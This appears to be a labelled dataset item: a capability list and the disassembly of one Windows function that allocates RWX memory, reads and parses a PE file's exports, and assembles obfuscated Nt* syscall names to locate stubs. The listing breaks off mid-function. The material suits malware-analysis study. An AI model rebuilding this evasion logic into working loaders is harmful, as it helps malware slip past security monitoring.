Function at 0x140002743
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x2f30
call fcn.140013e60
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.140012e90
call fcn.1400015b7
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x2e98], eax
mov eax, dword [rbp + 0x2e98]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x2e90], rax
mov rax, qword [rbp + 0x2e90]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x2e88], rax
mov rax, qword [rbp + 0x2e88]
add rax, 0x17
mov qword [rbp + 0x2e80], rax
mov rax, qword [rbp + 0x2e80]
add rax, 0x17
mov qword [rbp + 0x2e78], rax
mov rax, qword [rbp + 0x2e78]
add rax, 0x17
mov qword [rbp + 0x2e70], rax
mov rax, qword [rbp + 0x2e70]
add rax, 0x17
mov qword [rbp + 0x2e68], rax
mov rax, qword [rbp + 0x2e68]
add rax, 0x17
mov qword [rbp + 0x2e60], rax
mov rax, qword [rbp + 0x2e60]
add rax, 0x17
mov qword [rbp + 0x2e58], rax
mov rax, qword [rbp + 0x2e58]
add rax, 0x17
mov qword [rbp + 0x2e50], rax
mov rax, qword [rbp + 0x2e50]
add rax, 0x17
mov qword [rbp + 0x2e48], rax
mov rax, qword [rbp + 0x2e48]
add rax, 0x17
mov qword [rbp + 0x2e40], rax
mov rax, qword [rbp + 0x2e40]
add rax, 0x17
mov qword [rbp + 0x2e38], rax
mov rax, qword [rbp + 0x2e38]
add rax, 0x17
mov qword [rbp + 0x2e30], rax
mov rax, qword [rbp + 0x2e30]
add rax, 0x17
mov qword [rbp + 0x2e28], rax
mov rax, qword [rbp + 0x2e28]
add rax, 0x17
mov qword [rbp + 0x2e20], rax
mov rax, qword [rbp + 0x2e20]
add rax, 0x17
mov qword [rbp + 0x2e18], rax
mov rax, qword [rbp + 0x2e18]
add rax, 0x17
mov qword [rbp + 0x2e10], rax
mov rax, qword [rbp + 0x2e10]
add rax, 0x17
mov qword [rbp + 0x2e08], rax
mov rax, qword [rbp + 0x2e08]
add rax, 0x17
mov qword [rbp + 0x2e00], rax
mov dword [rbp + 0x5c], 0
mov qword [rbp + 0x2df8], 0
mov dword [rbp + 0x2df4], 0
mov dword [rbp + 0x58], 0
mov qword [rbp + 0x2de8], 0
mov rax, qword [rbp + 0x2e88]
mov qword [0x140142038], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2e88]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2e80]
mov qword [0x140142040], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2e80]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2e78]
mov qword [0x140142048], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2e78]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2e70]
mov qword [0x140142050], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2e70]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2e68]
mov qword [0x140142058], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2e68]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2e60]
mov qword [0x140142060], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2e60]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2e58]
mov qword [0x140142068], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2e58]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2e50]
mov qword [0x140142070], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2e50]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2e48]
mov qword [0x140142078], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2e48]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2e40]
mov qword [0x140142080], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2e40]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2e38]
mov qword [0x140142088], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2e38]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2e30]
mov qword [0x140142090], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2e30]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2e28]
mov qword [0x140142098], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2e28]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2e20]
mov qword [0x1401420a0], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2e20]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2e18]
mov qword [0x1401420a8], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2e18]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2e10]
mov qword [0x1401420b0], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2e10]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2e08]
mov qword [0x1401420b8], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2e08]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2e00]
mov qword [0x1401420c0], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2e00]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, [0x140115257]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x2df8], rax
mov rax, qword [rbp + 0x2df8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x2df4], eax
mov ebx, dword [rbp + 0x2df4]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x2de8], rax
lea r8, [rbp + 0x58]
mov ecx, dword [rbp + 0x2df4]
mov rdx, qword [rbp + 0x2de8]
mov rax, qword [rbp + 0x2df8]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x2de8]
mov qword [rbp + 0x2de0], rax
mov rax, qword [rbp + 0x2de0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2de8]
add rax, rdx
mov qword [rbp + 0x2dd8], rax
mov rax, qword [rbp + 0x2dd8]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x2dd4], eax
mov rax, qword [rbp + 0x2dd8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x2dd8]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x2ea8], rax
mov rax, qword [rbp + 0x2ea8]
mov qword [rbp + 0x2dc8], rax
mov rax, qword [rbp + 0x2ea8]
mov qword [rbp + 0x2ea0], rax
mov dword [rbp + 0x2e9c], 0
jmp 0x140002e42
mov rax, qword [rbp + 0x2ea8]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140002e33
mov rax, qword [rbp + 0x2ea8]
mov qword [rbp + 0x2ea0], rax
jmp 0x140002e58
add qword [rbp + 0x2ea8], 0x28
add dword [rbp + 0x2e9c], 1
mov rax, qword [rbp + 0x2dd8]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x2e9c], eax
jl 0x140002e09
mov edx, dword [rbp + 0x2dd4]
mov rax, qword [rbp + 0x2de8]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x2ea0]
mov rdx, rax
call fcn.140001450
mov qword [rbp + 0x2dc0], rax
lea rax, [rbp + 0x32f]
mov qword [rbp + 0x2da0], rax
nop
nop
lea rdx, [rbp + 0x32f]
lea rax, [rbp + 0x300]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a91e0
lea rax, [rbp + 0x2e0]
lea rdx, [rbp + 0x300]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2c0]
lea rdx, [rbp + 0x2e0]
lea r8, [0x140115280]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2a0]
lea rdx, [rbp + 0x2c0]
lea r8, [0x140115282]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x280]
lea rdx, [rbp + 0x2a0]
lea r8, [0x140115282]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x260]
lea rdx, [rbp + 0x280]
lea r8, [0x140115284]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x240]
lea rdx, [rbp + 0x260]
lea r8, [0x140115286]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x220]
lea rdx, [rbp + 0x240]
lea r8, [0x140115288]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x200]
lea rdx, [rbp + 0x220]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1e0]
lea rdx, [rbp + 0x200]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1c0]
lea rdx, [rbp + 0x1e0]
lea r8, [0x14011528c]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1a0]
lea rdx, [rbp + 0x1c0]
lea r8, [0x14011528e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x180]
lea rdx, [rbp + 0x1a0]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x160]
lea rdx, [rbp + 0x180]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0x160]
lea r8, [0x140115292]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x120]
lea rdx, [rbp + 0x140]
lea r8, [0x140115288]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x100]
lea rdx, [rbp + 0x120]
lea r8, [0x140115282]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xe0]
lea rdx, [rbp + 0x100]
lea r8, [0x140115294]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xc0]
lea rdx, [rbp + 0xe0]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xa0]
lea rdx, [rbp + 0xc0]
lea r8, [0x140115296]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x80]
lea rdx, [rbp + 0xa0]
lea r8, [0x140115284]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x60]
lea rdx, [rbp + 0x80]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x30]
lea rdx, [rbp + 0x60]
lea r8, [0x140115298]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x60]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x80]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xa0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xe0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x120]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x140]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x160]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x180]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1e0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x200]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x220]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x240]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x260]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x280]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2a0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2c0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2e0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x300]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x32f]
mov rcx, rax
call fcn.14009a3b0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x330]
mov rcx, rax
call fcn.1400a8d40
mov r9, qword [rbp + 0x2dc8]
mov r8, qword [rbp + 0x2de8]
mov rdx, qword [rbp + 0x2dc0]
lea rax, [rbp + 0x330]
mov rcx, qword [rbp + 0x2e88]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2ea0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.14000147d
mov dword [rbp + 0x2dbc], eax
lea rax, [rbp + 0x330]
mov rcx, rax
call fcn.1400a9a00
cmp dword [rbp + 0x2dbc], 0
je 0x1400032f1
lea rbx, [0x14011529a]
jmp 0x1400032f8
lea rbx, [0x14011529f]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f200
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.14001e890
lea rax, [rbp + 0x5df]
mov qword [rbp + 0x2d98], rax
nop
nop
lea rdx, [rbp + 0x5df]
lea rax, [rbp + 0x5b0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a91e0
lea rax, [rbp + 0x590]
lea rdx, [rbp + 0x5b0]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x570]
lea rdx, [rbp + 0x590]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x550]
lea rdx, [rbp + 0x570]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x530]
lea rdx, [rbp + 0x550]
lea r8, [0x14011528e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x510]
lea rdx, [rbp + 0x530]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x4f0]
lea rdx, [rbp + 0x510]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x4d0]
lea rdx, [rbp + 0x4f0]
lea r8, [0x14011528c]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x4b0]
lea rdx, [rbp + 0x4d0]
lea r8, [0x14011528e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x490]
lea rdx, [rbp + 0x4b0]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x470]
lea rdx, [rbp + 0x490]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x450]
lea rdx, [rbp + 0x470]
lea r8, [0x140115292]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x430]
lea rdx, [rbp + 0x450]
lea r8, [0x140115288]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x410]
lea rdx, [rbp + 0x430]
lea r8, [0x140115282]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x3f0]
lea rdx, [rbp + 0x410]
lea r8, [0x140115294]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x3d0]
lea rdx, [rbp + 0x3f0]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x3b0]
lea rdx, [rbp + 0x3d0]
lea r8, [0x140115296]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x390]
lea rdx, [rbp + 0x3b0]
lea r8, [0x140115284]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x370]
lea rdx, [rbp + 0x390]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x350]
lea rdx, [rbp + 0x370]
lea r8, [0x140115298]
mov rcx, rax
call fcn.1400b9b20
lea rdx, [rbp + 0x350]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9a40
lea rax, [rbp + 0x350]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x370]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x390]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x3b0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x3d0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x3f0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x410]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x430]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x450]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x470]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x490]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x4b0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x4d0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x4f0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x510]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x530]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x550]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x570]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x590]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x5b0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x5df]
mov rcx, rax
call fcn.14009a3b0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x5e0]
mov rcx, rax
call fcn.1400a8d40
mov r9, qword [rbp + 0x2dc8]
mov r8, qword [rbp + 0x2de8]
mov rdx, qword [rbp + 0x2dc0]
lea rax, [rbp + 0x5e0]
mov rcx, qword [rbp + 0x2e80]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2ea0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.14000147d
mov dword [rbp + 0x2dbc], eax
lea rax, [rbp + 0x5e0]
mov rcx, rax
call fcn.1400a9a00
cmp dword [rbp + 0x2dbc], 0
je 0x140003735
lea rbx, [0x14011529a]
jmp 0x14000373c
lea rbx, [0x14011529f]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f200
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.14001e890
lea rax, [rbp + 0x8cf]
mov qword [rbp + 0x2d90], rax
nop
nop
lea rdx, [rbp + 0x8cf]
lea rax, [rbp + 0x8a0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a91e0
lea rax, [rbp + 0x880]
lea rdx, [rbp + 0x8a0]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x860]
lea rdx, [rbp + 0x880]
lea r8, [0x1401152ba]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x840]
lea rdx, [rbp + 0x860]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x820]
lea rdx, [rbp + 0x840]
lea r8, [0x140115284]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x800]
lea rdx, [rbp + 0x820]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x7e0]
lea rdx, [rbp + 0x800]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x7c0]
lea rdx, [rbp + 0x7e0]
lea r8, [0x140115286]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x7a0]
lea rdx, [rbp + 0x7c0]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x780]
lea rdx, [rbp + 0x7a0]
lea r8, [0x14011528c]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x760]
lea rdx, [rbp + 0x780]
lea r8, [0x14011528e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x740]
lea rdx, [rbp + 0x760]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x720]
lea rdx, [rbp + 0x740]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x700]
lea rdx, [rbp + 0x720]
lea r8, [0x140115292]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x6e0]
lea rdx, [rbp + 0x700]
lea r8, [0x140115288]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x6c0]
lea rdx, [rbp + 0x6e0]
lea r8, [0x140115282]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x6a0]
lea rdx, [rbp + 0x6c0]
lea r8, [0x140115294]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x680]
lea rdx, [rbp + 0x6a0]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x660]
lea rdx, [rbp + 0x680]
lea r8, [0x140115296]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x640]
lea rdx, [rbp + 0x660]
lea r8, [0x140115284]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x620]
lea rdx, [rbp + 0x640]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x600]
lea rdx, [rbp + 0x620]
lea r8, [0x140115298]
mov rcx, rax
call fcn.1400b9b20
lea rdx, [rbp + 0x600]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9a40
lea rax, [rbp + 0x600]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x620]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x640]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x660]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x680]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x6a0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x6c0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x6e0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x700]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x720]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x740]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x760]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x780]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x7a0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x7c0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x7e0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x800]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x820]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x840]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x860]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x880]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x8a0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x8cf]
mov rcx, rax
call fcn.14009a3b0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x8d0]
mov rcx, rax
call fcn.1400a8d40
mov r9, qword [rbp + 0x2dc8]
mov r8, qword [rbp + 0x2de8]
mov rdx, qword [rbp + 0x2dc0]
lea rax, [rbp + 0x8d0]
mov rcx, qword [rbp + 0x2e78]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2ea0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.14000147d
mov dword [rbp + 0x2dbc], eax
lea rax, [rbp + 0x8d0]
mov rcx, rax
call fcn.1400a9a00
cmp dword [rbp + 0x2dbc], 0
je 0x140003bd1
lea rbx, [0x14011529a]
jmp 0x140003bd8
lea rbx, [0x14011529f]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f200
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.14001e890
lea rax, [rbp + 0xaff]
mov qword [rbp + 0x2d88], rax
nop
nop
lea rdx, [rbp + 0xaff]
lea rax, [rbp + 0xad0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a91e0
lea rax, [rbp + 0xab0]
lea rdx, [rbp + 0xad0]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xa90]
lea rdx, [rbp + 0xab0]
lea r8, [0x1401152bc]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xa70]
lea rdx, [rbp + 0xa90]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xa50]
lea rdx, [rbp + 0xa70]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xa30]
lea rdx, [rbp + 0xa50]
lea r8, [0x140115288]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xa10]
lea rdx, [rbp + 0xa30]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x9f0]
lea rdx, [rbp + 0xa10]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x9d0]
lea rdx, [rbp + 0x9f0]
lea r8, [0x1401152be]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x9b0]
lea rdx, [rbp + 0x9d0]
lea r8, [0x1401152c0]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x990]
lea rdx, [rbp + 0x9b0]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x970]
lea rdx, [rbp + 0x990]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x950]
lea rdx, [rbp + 0x970]
